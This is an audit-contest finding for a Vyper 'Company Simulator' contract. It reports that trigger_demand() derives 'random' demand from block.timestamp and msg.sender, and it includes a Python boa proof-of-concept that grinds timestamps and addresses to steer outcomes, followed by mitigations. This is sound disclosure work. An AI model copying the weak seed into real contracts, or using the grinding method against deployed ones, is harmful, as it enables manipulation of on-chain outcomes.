Company Simulator

First Flight #51
Beginner FriendlyDeFi
100 EXP
Submission Details
Severity: medium
Valid

Predictable “randomness” (miner/user manipulable) in trigger_demand()

Author Revealed upon completion

Description

  • CustomerEngine.trigger_demand() chooses how many items a “customer” will request using a pseudo‑random seed derived from block.timestamp and msg.sender. That demand is then capped by MAX_REQUEST, and the caller pays requested * ITEM_PRICE (excess refunded) before the engine forwards the exact sale value to CompanyGame.sell_to_customer().

  • The seed is computed as:

    • seed = keccak256(concat(convert(block.timestamp, bytes32), convert(msg.sender, bytes32)))

    • requested = (seed % 5) + 1 + extra_item_chance, where extra_item_chance = 1 if (seed % 100) < (rep - 50)
      Because block.timestamp is miner‑controlled within bounds and users control msg.sender (they can rotate EOAs), the demand outcome is predictable and manipulable. Attackers can time transactions and/or pick addresses to bias seed, yielding larger requests (up to the cap) and more favorable economics/reputation changes.

// Root cause in the codebase with @> marks to highlight the relevant section
// File: CustomerEngine.vy
@payable
@external
def trigger_demand():
# Cooldown & reputation checks omitted for brevity ...
# @> Pseudo-random demand calculation based on controllable inputs
seed: uint256 = convert(
keccak256(
concat(
convert(block.timestamp, bytes32), # @> miner-adjustable within leeway
convert(msg.sender, bytes32) # @> user-controlled (choose address)
)
),
uint256,
)
base: uint256 = seed % 5 # 0..4
extra_item_chance: uint256 = 0
if (seed % 100) < (rep - 50): # @> depends on seed; rep is public & known
extra_item_chance = 1
requested: uint256 = base + 1 + extra_item_chance # 1..6
requested = min(requested, MAX_REQUEST) # cap at 5

Risk

Likelihood: High

  • Occurs whenever an attacker can choose when to send the transaction (to exploit block.timestamp sensitivity) or use multiple EOAs/contracts to vary msg.sender.

  • Occurs whenever miners (or block producers) can nudge timestamp within allowed bounds, common on public chains, skewing outcomes favorably.

Impact: High

  • Demand amplification & profit skew. Attackers bias larger requested values, increasing revenue events and inventory turnover at their discretion.

  • Reputation manipulation. Successful sales increase reputation; predictable demand enables targeted reputation pumping and downstream gating circumvention.

Proof of Concept

# tests/test_predictable_randomness.py
# Run with: mox test -k test_predictable_randomness
#
# Demonstrates that by adjusting block.timestamp (miner-like control)
# and choosing different msg.sender addresses (user control),
# we can steer the "random" requested amount in trigger_demand().
import boa
import pytest
COMPANY_PATH = "src/Cyfrin_Hub.vy"
ENGINE_PATH = "src/CustomerEngine.vy"
ITEM_PRICE = 2 * 10**16 # 0.02 ETH
MAX_REQUEST = 5
MAX_COST = ITEM_PRICE * MAX_REQUEST # safe upper bound for payment
def setup_company_and_engine():
owner = boa.env.generate_address()
boa.env.set_balance(owner, 10**21)
with boa.env.prank(owner):
company = boa.load(COMPANY_PATH)
engine = boa.load(ENGINE_PATH)
# Wire the engine and prepare inventory/funds
company.set_customer_engine(engine.address)
company.fund_cyfrin(0, value=10**19) # 10 ETH
company.produce(100)
return owner, company, engine
def _requested_from_sale(company, before_balance, after_balance):
# Holding cost is applied before revenue. To avoid noise,
# set block.timestamp == last_hold_time so cost == 0.
SALE_PRICE = 2 * 10**16
delta = after_balance - before_balance
assert delta % SALE_PRICE == 0, "Delta not a multiple of SALE_PRICE; ensure holding cost is zero"
return delta // SALE_PRICE
@pytest.mark.usefixtures()
def test_predictable_randomness_by_timestamp_and_sender():
owner, company, engine = setup_company_and_engine()
# Ensure no holding cost in this test run:
# Read last_hold_time and set block.timestamp to it before each call
base_ts = company.last_hold_time()
# Prepare two different callers to vary msg.sender
userA = boa.env.generate_address()
userB = boa.env.generate_address()
boa.env.set_balance(userA, 10**21)
boa.env.set_balance(userB, 10**21)
# 1) Same timestamp, different senders -> different requested values
boa.env.set_block_timestamp(base_ts + 61) # +COOLDOWN to allow first call
beforeA = company.get_balance()
with boa.env.prank(userA):
engine.trigger_demand(value=MAX_COST)
afterA = company.get_balance()
reqA = _requested_from_sale(company, beforeA, afterA)
# Keep same timestamp window but use a different sender
boa.env.set_block_timestamp(base_ts + 61 + 1) # tick by 1 sec to bypass A's cooldown window
beforeB = company.get_balance()
with boa.env.prank(userB):
engine.trigger_demand(value=MAX_COST)
afterB = company.get_balance()
reqB = _requested_from_sale(company, beforeB, afterB)
assert reqA != reqB, (
"Different msg.sender values at essentially the same time produced the same demand; "
"expected variability from seed(msg.sender, timestamp)"
)
# 2) Same sender, varying timestamps -> steer requested toward a target (e.g., 5)
# Advance in chunks to skip per-address COOLDOWN (60s)
target = 5
found = False
for i in range(1, 20): # search across 20 time slots
ts = base_ts + 61 + i * 120 # ensure > COOLDOWN for userA
boa.env.set_block_timestamp(ts)
before = company.get_balance()
with boa.env.prank(userA):
engine.trigger_demand(value=MAX_COST)
after = company.get_balance()
req = _requested_from_sale(company, before, after)
if req == target:
found = True
break
assert found, "Failed to hit target requested=5 by timestamp steering; try increasing search range."
print(f"[PoC] Found timestamp that yields requested={target} for userA")
# 3) Show that reputation gating is satisfied (rep>=MIN_REPUTATION) and still manipulable
# The company starts with reputation=100, so extra_item_chance triggers ~50% of the time.
# We demonstrate by finding at least one call where requested exceeds base+1.
boa.env.set_block_timestamp(base_ts + 61 + 5000) # fresh window
beforeC = company.get_balance()
with boa.env.prank(userA):
engine.trigger_demand(value=MAX_COST)
afterC = company.get_balance()
reqC = _requested_from_sale(company, beforeC, afterC)
assert 1 <= reqC <= MAX_REQUEST, "Demand should be within the 1..MAX_REQUEST cap"
# (We don't assert exact extra-item condition here; it's probabilistic—this section is illustrative.)

Recommended Mitigation

- # Pseudo-random based on timestamp and sender (manipulable)
- seed: uint256 = convert(
- keccak256(concat(convert(block.timestamp, bytes32), convert(msg.sender, bytes32))),
- uint256,
- )
- base: uint256 = seed % 5
- if (seed % 100) < (rep - 50): # extra_item_chance uses same seed
- extra_item_chance = 1
- requested: uint256 = base + 1 + extra_item_chance
- requested = min(requested, MAX_REQUEST)
+ # Option A: Commit–Reveal (two-phase) — resistant to miner/user manipulation
+ # Phase 1 (user): commit(bytes32 commit_hash)
+ # Phase 2 (later): reveal(bytes32 salt) -> verify keccak256(salt, msg.sender) == commit_hash
+ # Use the *previous* block hash in the reveal phase:
+ # seed = keccak256(concat(blockhash(block.number - 1), salt, msg.sender))
+ # Then derive requested from seed. This prevents same-tx manipulation and reduces miner control.
+ # (Requires adding commit/reveal storage + timing checks.)
+ # Option B: External randomness (VRF / beacon)
+ # Integrate a verifiable randomness oracle (e.g., VRF) to obtain an unbiased seed:
+ # seed = vrf_randomness
+ # Then: requested = (seed % MAX_REQUEST) + 1
+ # (Be explicit about trust/cost and handle async callbacks.)
+ # Option C: Deterministic demand (no randomness)
+ # If randomness isn't essential, define demand deterministically from reputation and rate limits,
+ # removing timing games entirely.
Updates

Lead Judging Commences

0xshaedyw Lead Judge
4 days ago
0xshaedyw Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Medium – Predictable Seed

Demand randomness is grindable via timestamp and sender, enabling biased outcomes and reputation manipulation.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.